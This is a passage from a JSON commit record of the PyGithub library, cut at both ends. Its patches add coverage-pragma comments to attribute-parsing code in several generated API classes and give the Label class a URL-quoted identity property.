self.__created_at = attributes[ \"created_at\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n self.__id = attributes[ \"id\" ]\n- if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None:\n+ if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None: # pragma no branch\n self.__updated_at = attributes[ \"updated_at\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n self.__url = attributes[ \"url\" ]\n- if \"user\" in attributes and attributes[ \"user\" ] is not None:\n+ if \"user\" in attributes and attributes[ \"user\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"user\" ], dict )\n self.__user = NamedUser.NamedUser( self.__requester, attributes[ \"user\" ], completion = LazyCompletion )","status":"modified","deletions":6,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/IssueComment.py","changes":12,"additions":6,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/IssueComment.py","filename":"src/github/IssueComment.py"},{"patch":"@@ -78,24 +78,24 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"actor\", \"commit_id\", \"created_at\", \"event\", \"id\", \"issue\", \"url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"actor\" in attributes and attributes[ \"actor\" ] is not None:\n+ if \"actor\" in attributes and attributes[ \"actor\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"actor\" ], dict )\n self.__actor = NamedUser.NamedUser( self.__requester, attributes[ \"actor\" ], completion = LazyCompletion )\n- if \"commit_id\" in attributes and attributes[ \"commit_id\" ] is not None:\n+ if \"commit_id\" in attributes and attributes[ \"commit_id\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"commit_id\" ], str )\n self.__commit_id = attributes[ \"commit_id\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"created_at\" ], str )\n self.__created_at = attributes[ \"created_at\" ]\n- if \"event\" in attributes and attributes[ \"event\" ] is not None:\n+ if \"event\" in attributes and attributes[ \"event\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"event\" ], str )\n self.__event = attributes[ \"event\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"id\" ], int )\n self.__id = attributes[ \"id\" ]\n- if \"issue\" in attributes and attributes[ \"issue\" ] is not None:\n+ if \"issue\" in attributes and attributes[ \"issue\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"issue\" ], dict )\n self.__issue = Issue.Issue( self.__requester, attributes[ \"issue\" ], completion = LazyCompletion )\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]","status":"modified","deletions":7,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/IssueEvent.py","changes":14,"additions":7,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/IssueEvent.py","filename":"src/github/IssueEvent.py"},{"patch":"@@ -1,6 +1,8 @@\n # WARNING: this file is generated automaticaly.\n # Do not modify it manually, your work would be lost.\n \n+import urllib\n+\n import PaginatedList\n from GithubObject import *\n \n@@ -43,6 +45,11 @@ def edit( self, name, color ):\n )\n self.__useAttributes( data )\n \n+ # @toto Remove '_identity' from the normalized json description\n+ @property\n+ def _identity( self ):\n+ return urllib.quote( self.name )\n+\n def __initAttributes( self ):\n self.__color = None\n self.__name = None\n@@ -53,9 +60,9 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"color\", \"name\", \"url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"color\" in attributes and attributes[ \"color\" ] is not None:\n+ if \"color\" in attributes and attributes[ \"color\" ] is not None: # pragma no branch\n self.__color = attributes[ \"color\" ]\n- if \"name\" in attributes and attributes[ \"name\" ] is not None:\n+ if \"name\" in attributes and attributes[ \"name\" ] is not None: # pragma no branch\n self.__name = attributes[ \"name\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n self.__url = attributes[ \"url\" ]","status":"modified","deletions":3,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Label.py","changes":13,"additions":10,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Label.py","filename":"src/github/Label.py"},{"patch":"@@ -114,36 +114,36 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"closed_issues\", \"created_at\", \"creator\", \"description\", \"due_on\", \"id\", \"number\", \"open_issues\", \"state\", \"title\", \"url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"closed_issues\" in attributes and attributes[ \"closed_issues\" ] is not None:\n+ if \"closed_issues\" in attributes and attributes[ \"closed_issues\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"closed_issues\" ], int )\n self.__closed_issues = attributes[ \"closed_issues\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"created_at\" ], str )\n self.__created_at = attributes[ \"created_at\" ]\n- if \"creator\" in attributes and attributes[ \"creator\" ] is not None:\n+ if \"creator\" in attributes and attributes[ \"creator\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"creator\" ], dict )\n self.__creator = NamedUser.NamedUser( self.__requester, attributes[ \"creator\" ], completion = LazyCompletion )\n- if \"description\" in attributes and attributes[ \"description\" ] is not None:\n+ if \"description\" in attributes and attributes[ \"description\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"description\" ], str )\n self.__description = attributes[ \"description\" ]\n- if \"due_on\" in attributes and attributes[ \"due_on\" ] is not None:\n+ if \"due_on\" in attributes and attributes[ \"due_on\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"due_on\" ], str )\n self.__due_on = attributes[ \"due_on\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"id\" ], int )\n self.__id = attributes[ \"id\" ]\n- if \"number\" in attributes and attributes[ \"number\" ] is not None:\n+ if \"number\" in attributes and attributes[ \"number\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"number\" ], int )\n self.__number = attributes[ \"number\" ]\n- if \"open_issues\" in attributes and attributes[ \"open_issues\" ] is not None:\n+ if \"open_issues\" in attributes and attributes[ \"open_issues\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"open_issues\" ], int )\n self.__open_issues = attributes[ \"open_issues\" ]\n- if \"state\" in attributes and attributes[ \"state\" ] is not None:\n+ if \"state\" in attributes and attributes[ \"state\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"state\" ], str )\n self.__state = attributes[ \"state\" ]\n- if \"title\" in attributes and attributes[ \"title\" ] is not None:\n+ if \"title\" in attributes and attributes[ \"title\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"title\" ], str )\n self.__title = attributes[ \"title\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]","status":"modified","deletions":11,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Milestone.py","changes":22,"additions":11,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Milestone.py","filename":"src/github/Milestone.py"},{"patch":"@@ -365,81 +365,81 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"avatar_url\", \"bio\", \"blog\", \"collaborators\", \"company\", \"contributions\", \"created_at\", \"disk_usage\", \"email\", \"followers\", \"following\", \"gravatar_id\", \"hireable\", \"html_url\", \"id\", \"location\", \"login\", \"name\", \"owned_private_repos\", \"plan\", \"private_gists\", \"public_gists\", \"public_repos\", \"total_private_repos\", \"type\", \"url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"avatar_url\" in attributes and attributes[ \"avatar_url\" ] is not None:\n+ if \"avatar_url\" in attributes and attributes[ \"avatar_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"avatar_url\" ], str )\n self.__avatar_url = attributes[ \"avatar_url\" ]\n- if \"bio\" in attributes and attributes[ \"bio\" ] is not None:\n+ if \"bio\" in attributes and attributes[ \"bio\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"bio\" ], str )\n self.__bio = attributes[ \"bio\" ]\n- if \"blog\" in attributes and attributes[ \"blog\" ] is not None:\n+ if \"blog\" in attributes and attributes[ \"blog\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"blog\" ], str )\n self.__blog = attributes[ \"blog\" ]\n- if \"collaborators\" in attributes and attributes[ \"collaborators\" ] is not None:\n+ if \"collaborators\" in attributes and attributes[ \"collaborators\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"collaborators\" ], int )\n self.__collaborators = attributes[ \"collaborators\" ]\n- if \"company\" in attributes and attributes[ \"company\" ] is not None:\n+ if \"company\" in attributes and attributes[ \"company\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"company\" ], str )\n self.__company = attributes[ \"company\" ]\n- if \"contributions\" in attributes and attributes[ \"contributions\" ] is not None:\n+ if \"contributions\" in attributes and attributes[ \"contributions\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"contributions\" ], int )\n self.__contributions = attributes[ \"contributions\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"created_at\" ], str )\n self.__created_at = attributes[ \"created_at\" ]\n- if \"disk_usage\" in attributes and attributes[ \"disk_usage\" ] is not None:\n+ if \"disk_usage\" in attributes and attributes[ \"disk_usage\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"disk_usage\" ], int )\n self.__disk_usage = attributes[ \"disk_usage\" ]\n- if \"email\" in attributes and attributes[ \"email\" ] is not None:\n+ if \"email\" in attributes and attributes[ \"email\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"email\" ], str )\n self.__email = attributes[ \"email\" ]\n- if \"followers\" in attributes and attributes[ \"followers\" ] is not None:\n+ if \"followers\" in attributes and attributes[ \"followers\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"followers\" ], int )\n self.__followers = attributes[ \"followers\" ]\n- if \"following\" in attributes and attributes[ \"following\" ] is not None:\n+ if \"following\" in attributes and attributes[ \"following\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"following\" ], int )\n self.__following = attributes[ \"following\" ]\n- if \"gravatar_id\" in attributes and attributes[ \"gravatar_id\" ] is not None:\n+ if \"gravatar_id\" in attributes and attributes[ \"gravatar_id\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"gravatar_id\" ], str )\n self.__gravatar_id = attributes[ \"gravatar_id\" ]\n- if \"hireable\" in attributes and attributes[ \"hireable\" ] is not None:\n+ if \"hireable\" in attributes and attributes[ \"hireable\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"hireable\" ], bool )\n self.__hireable = attributes[ \"hireable\" ]\n- if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None:\n+ if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"html_url\" ], str )\n self.__html_url = attributes[ \"html_url\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"id\" ], int )\n self.__id = attributes[ \"id\" ]\n- if \"location\" in attributes and attributes[ \"location\" ] is not None:\n+ if \"location\" in attributes and attributes[ \"location\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"location\" ], str )\n self.__location = attributes[ \"location\" ]\n- if \"login\" in attributes and attributes[ \"login\" ] is not None:\n+ if \"login\" in attributes and attributes[ \"login\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"login\" ], str )\n self.__login = attributes[ \"login\" ]\n- if \"name\" in attributes and attributes[ \"name\" ] is not None:\n+ if \"name\" in attributes and attributes[ \"name\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"name\" ], str )\n self.__name = attributes[ \"name\" ]\n- if \"owned_private_repos\" in attributes and attributes[ \"owned_private_repos\" ] is not None:\n+ if \"owned_private_repos\" in attributes and attributes[ \"owned_private_repos\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"owned_private_repos\" ], int )\n self.__owned_private_repos = attributes[ \"owned_private_repos\" ]\n- if \"plan\" in attributes and attributes[ \"plan\" ] is not None:\n+ if \"plan\" in attributes and attributes[ \"plan\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"plan\" ], dict )\n self.__plan = Plan.Plan( self.__requester, attributes[ \"plan\" ], completion = LazyCompletion )\n- if \"private_gists\" in attributes and attributes[ \"private_gists\" ] is not None:\n+ if \"private_gists\" in attributes and attributes[ \"private_gists\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"private_gists\" ], int )\n self.__private_gists = attributes[ \"private_gists\" ]\n- if \"public_gists\" in attributes and attributes[ \"public_gists\" ] is not None:\n+ if \"public_gists\" in attributes and attributes[ \"public_gists\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"public_gists\" ], int )\n self.__public_gists = attributes[ \"public_gists\" ]\n- if \"public_repos\" in attributes and attributes[ \"public_repos\" ] is not None:\n+ if \"public_repos\" in attributes and attributes[ \"public_repos\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"public_repos\" ], int )\n self.__public_repos = attributes[ \"public_repos\" ]\n- if \"total_private_repos\" in attributes and attributes[ \"total_private_repos\" ] is not None:\n+ if \"total_private_repos\" in attributes and attributes[ \"total_private_repos\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"total_private_repos\" ], int )\n self.__total_private_repos = attributes[ \"total_private_repos\" ]\n- if \"type\" in attributes and attributes[ \"type\" ] is not None:\n+ if \"type\" in attributes and attributes[ \"type\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"type\" ], str )\n self.__type = attributes[ \"type\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]","status":"modified","deletions":26,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/NamedUser.py","changes":52,"additions":26,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/NamedUser.py","filename":"src/github/NamedUser.py"},{"patch":"@@ -390,75 +390,75 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"avatar_url\", \"billing_email\", \"blog\", \"collaborators\", \"company\", \"created_at\", \"disk_usage\", \"email\", \"followers\", \"following\", \"gravatar_id\", \"html_url\", \"id\", \"location\", \"login\", \"name\", \"owned_private_repos\", \"plan\", \"private_gists\", \"public_gists\", \"public_repos\", \"total_private_repos\", \"type\", \"url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"avatar_url\" in attributes and attributes[ \"avatar_url\" ] is not None:\n+ if \"avatar_url\" in attributes and attributes[ \"avatar_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"avatar_url\" ], str )\n self.__avatar_url = attributes[ \"avatar_url\" ]\n- if \"billing_email\" in attributes and attributes[ \"billing_email\" ] is not None:\n+ if \"billing_email\" in attributes and attributes[ \"billing_email\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"billing_email\" ], str )\n self.__billing_email = attributes[ \"billing_email\" ]\n- if \"blog\" in attributes and attributes[ \"blog\" ] is not None:\n+ if \"blog\" in attributes and attributes[ \"blog\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"blog\" ], str )\n self.__blog = attributes[ \"blog\" ]\n- if \"collaborators\" in attributes and attributes[ \"collaborators\" ] is not None:\n+ if \"collaborators\" in attributes and attributes[ \"collaborators\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"collaborators\" ], int )\n self.__collaborators = attributes[ \"collaborators\" ]\n- if \"company\" in attributes and attributes[ \"company\" ] is not None:\n+ if \"company\" in attributes and attributes[ \"company\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"company\" ], str )\n self.__company = attributes[ \"company\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"created_at\" ], str )\n self.__created_at = attributes[ \"created_at\" ]\n- if \"disk_usage\" in attributes and attributes[ \"disk_usage\" ] is not None:\n+ if \"disk_usage\" in attributes and attributes[ \"disk_usage\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"disk_usage\" ], int )\n self.__disk_usage = attributes[ \"disk_usage\" ]\n- if \"email\" in attributes and attributes[ \"email\" ] is not None:\n+ if \"email\" in attributes and attributes[ \"email\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"email\" ], str )\n self.__email = attributes[ \"email\" ]\n- if \"followers\" in attributes and attributes[ \"followers\" ] is not None:\n+ if \"followers\" in attributes and attributes[ \"followers\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"followers\" ], int )\n self.__followers = attributes[ \"followers\" ]\n- if \"following\" in attributes and attributes[ \"following\" ] is not None:\n+ if \"following\" in attributes and attributes[ \"following\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"following\" ], int )\n self.__following = attributes[ \"following\" ]\n- if \"gravatar_id\" in attributes and attributes[ \"gravatar_id\" ] is not None:\n+ if \"gravatar_id\" in attributes and attributes[ \"gravatar_id\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"gravatar_id\" ], str )\n self.__gravatar_id = attributes[ \"gravatar_id\" ]\n- if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None:\n+ if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"html_url\" ], str )\n self.__html_url = attributes[ \"html_url\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"id\" ], int )\n self.__id = attributes[ \"id\" ]\n- if \"location\" in attributes and attributes[ \"location\" ] is not None:\n+ if \"location\" in attributes and attributes[ \"location\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"location\" ], str )\n self.__location = attributes[ \"location\" ]\n- if \"login\" in attributes and attributes[ \"login\" ] is not None:\n+ if \"login\" in attributes and attributes[ \"login\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"login\" ], str )\n self.__login = attributes[ \"login\" ]\n- if \"name\" in attributes and attributes[ \"name\" ] is not None:\n+ if \"name\" in attributes and attributes[ \"name\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"name\" ], str )\n self.__name = attributes[ \"name\" ]\n- if \"owned_private_repos\" in attributes and attributes[ \"owned_private_repos\" ] is not None:\n+ if \"owned_private_repos\" in attributes and attributes[ \"owned_private_repos\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"owned_private_repos\" ], int )\n self.__owned_private_repos = attributes[ \"owned_private_repos\" ]\n- if \"plan\" in attributes and attributes[ \"plan\" ] is not None:\n+ if \"plan\" in attributes and attributes[ \"plan\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"plan\" ], dict )\n self.__plan = Plan.Plan( self.__requester, attributes[ \"plan\" ], completion = LazyCompletion )\n- if \"private_gists\" in attributes and attributes[ \"private_gists\" ] is not None:\n+ if \"private_gists\" in attributes and attributes[ \"private_gists\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"private_gists\" ], int )\n self.__private_gists = attributes[ \"private_gists\" ]\n- if \"public_gists\" in attributes and attributes[ \"public_gists\" ] is not None:\n+ if \"public_gists\" in attributes and attributes[ \"public_gists\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"public_gists\" ], int )\n self.__public_gists = attributes[ \"public_gists\" ]\n- if \"public_repos\" in attributes and attributes[ \"public_repos\" ] is not None:\n+ if \"public_repos\" in attributes and attributes[ \"public_repos\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"public_repos\" ], int )\n self.__public_repos = attributes[ \"public_repos\" ]\n- if \"total_private_repos\" in attributes and attributes[ \"total_private_repos\" ] is not None:\n+ if \"total_private_repos\" in attributes and attributes[ \"total_private_repos\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"total_private_repos\" ], int )\n self.__total_private_repos = attributes[ \"total_private_repos\" ]\n- if \"type\" in attributes and attributes[ \"type\" ] is not None:\n+ if \"type\" in attributes and attributes[ \"type\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"type\" ], str )\n self.__type = attributes[ \"type\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]","status":"modified","deletions":24,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Organization.py","changes":48,"additions":24,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Organization.py","filename":"src/github/Organization.py"},{"patch":"@@ -32,12 +32,12 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"admin\", \"pull\", \"push\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"admin\" in attributes and attributes[ \"admin\" ] is not None:\n+ if \"admin\" in attributes and attributes[ \"admin\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"admin\" ], bool )\n self.__admin = attributes[ \"admin\" ]\n- if \"pull\" in attributes and attributes[ \"pull\" ] is not None:\n+ if \"pull\" in attributes and attributes[ \"pull\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"pull\" ], bool )\n self.__pull = attributes[ \"pull\" ]\n- if \"push\" in attributes and attributes[ \"push\" ] is not None:\n+ if \"push\" in attributes and attributes[ \"push\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"push\" ], bool )\n self.__push = attributes[ \"push\" ]","status":"modified","deletions":3,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Permissions.py","changes":6,"additions":3,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Permissions.py","filename":"src/github/Permissions.py"},{"patch":"@@ -37,15 +37,15 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"collaborators\", \"name\", \"private_repos\", \"space\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"collaborators\" in attributes and attributes[ \"collaborators\" ] is not None:\n+ if \"collaborators\" in attributes and attributes[ \"collaborators\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"collaborators\" ], int )\n self.__collaborators = attributes[ \"collaborators\" ]\n- if \"name\" in attributes and attributes[ \"name\" ] is not None:\n+ if \"name\" in attributes and attributes[ \"name\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"name\" ], str )\n self.__name = attributes[ \"name\" ]\n- if \"private_repos\" in attributes and attributes[ \"private_repos\" ] is not None:\n+ if \"private_repos\" in attributes and attributes[ \"private_repos\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"private_repos\" ], int )\n self.__private_repos = attributes[ \"private_repos\" ]\n- if \"space\" in attributes and attributes[ \"space\" ] is not None:\n+ if \"space\" in attributes and attributes[ \"space\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"space\" ], int )\n self.__space = attributes[ \"space\" ]","status":"modified","deletions":4,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Plan.py","changes":8,"additions":4,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Plan.py","filename":"src/github/Plan.py"},{"patch":"@@ -279,56 +279,56 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"additions\", \"base\", \"body\", \"changed_files\", \"closed_at\", \"comments\", \"commits\", \"created_at\", \"deletions\", \"diff_url\", \"head\", \"html_url\", \"id\", \"issue_url\", \"mergeable\", \"merged\", \"merged_at\", \"merged_by\", \"number\", \"patch_url\", \"review_comments\", \"state\", \"title\", \"updated_at\", \"url\", \"user\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"additions\" in attributes and attributes[ \"additions\" ] is not None:\n+ if \"additions\" in attributes and attributes[ \"additions\" ] is not None: # pragma no branch\n self.__additions = attributes[ \"additions\" ]\n- if \"base\" in attributes and attributes[ \"base\" ] is not None:\n+ if \"base\" in attributes and attributes[ \"base\" ] is not None: # pragma no branch\n self.__base = attributes[ \"base\" ]\n- if \"body\" in attributes and attributes[ \"body\" ] is not None:\n+ if \"body\" in attributes and attributes[ \"body\" ] is not None: # pragma no branch\n self.__body = attributes[ \"body\" ]\n- if \"changed_files\" in attributes and attributes[ \"changed_files\" ] is not None:\n+ if \"changed_files\" in attributes and attributes[ \"changed_files\" ] is not None: # pragma no branch\n self.__changed_files = attributes[ \"changed_files\" ]\n- if \"closed_at\" in attributes and attributes[ \"closed_at\" ] is not None:\n+ if \"closed_at\" in attributes and attributes[ \"closed_at\" ] is not None: # pragma no branch\n self.__closed_at = attributes[ \"closed_at\" ]\n- if \"comments\" in attributes and attributes[ \"comments\" ] is not None:\n+ if \"comments\" in attributes and attributes[ \"comments\" ] is not None: # pragma no branch\n self.__comments = attributes[ \"comments\" ]\n- if \"commits\" in attributes and attributes[ \"commits\" ] is not None:\n+ if \"commits\" in attributes and attributes[ \"commits\" ] is not None: # pragma no branch\n self.__commits = attributes[ \"commits\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n self.__created_at = attributes[ \"created_at\" ]\n- if \"deletions\" in attributes and attributes[ \"deletions\" ] is not None:\n+ if \"deletions\" in attributes and attributes[ \"deletions\" ] is not None: # pragma no branch\n self.__deletions = attributes[ \"deletions\" ]\n- if \"diff_url\" in attributes and attributes[ \"diff_url\" ] is not None:\n+ if \"diff_url\" in attributes and attributes[ \"diff_url\" ] is not None: # pragma no branch\n self.__diff_url = attributes[ \"diff_url\" ]\n- if \"head\" in attributes and attributes[ \"head\" ] is not None:\n+ if \"head\" in attributes and attributes[ \"head\" ] is not None: # pragma no branch\n self.__head = attributes[ \"head\" ]\n- if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None:\n+ if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None: # pragma no branch\n self.__html_url = attributes[ \"html_url\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n self.__id = attributes[ \"id\" ]\n- if \"issue_url\" in attributes and attributes[ \"issue_url\" ] is not None:\n+ if \"issue_url\" in attributes and attributes[ \"issue_url\" ] is not None: # pragma no branch\n self.__issue_url = attributes[ \"issue_url\" ]\n- if \"mergeable\" in attributes and attributes[ \"mergeable\" ] is not None:\n+ if \"mergeable\" in attributes and attributes[ \"mergeable\" ] is not None: # pragma no branch\n self.__mergeable = attributes[ \"mergeable\" ]\n- if \"merged\" in attributes and attributes[ \"merged\" ] is not None:\n+ if \"merged\" in attributes and attributes[ \"merged\" ] is not None: # pragma no branch\n self.__merged = attributes[ \"merged\" ]\n- if \"merged_at\" in attributes and attributes[ \"merged_at\" ] is not None:\n+ if \"merged_at\" in attributes and attributes[ \"merged_at\" ] is not None: # pragma no branch\n self.__merged_at = attributes[ \"merged_at\" ]\n- if \"merged_by\" in attributes and attributes[ \"merged_by\" ] is not None:\n+ if \"merged_by\" in attributes and attributes[ \"merged_by\" ] is not None: # pragma no branch\n self.__merged_by = attributes[ \"merged_by\" ]\n- if \"number\" in attributes and attributes[ \"number\" ] is not None:\n+ if \"number\" in attributes and attributes[ \"number\" ] is not None: # pragma no branch\n 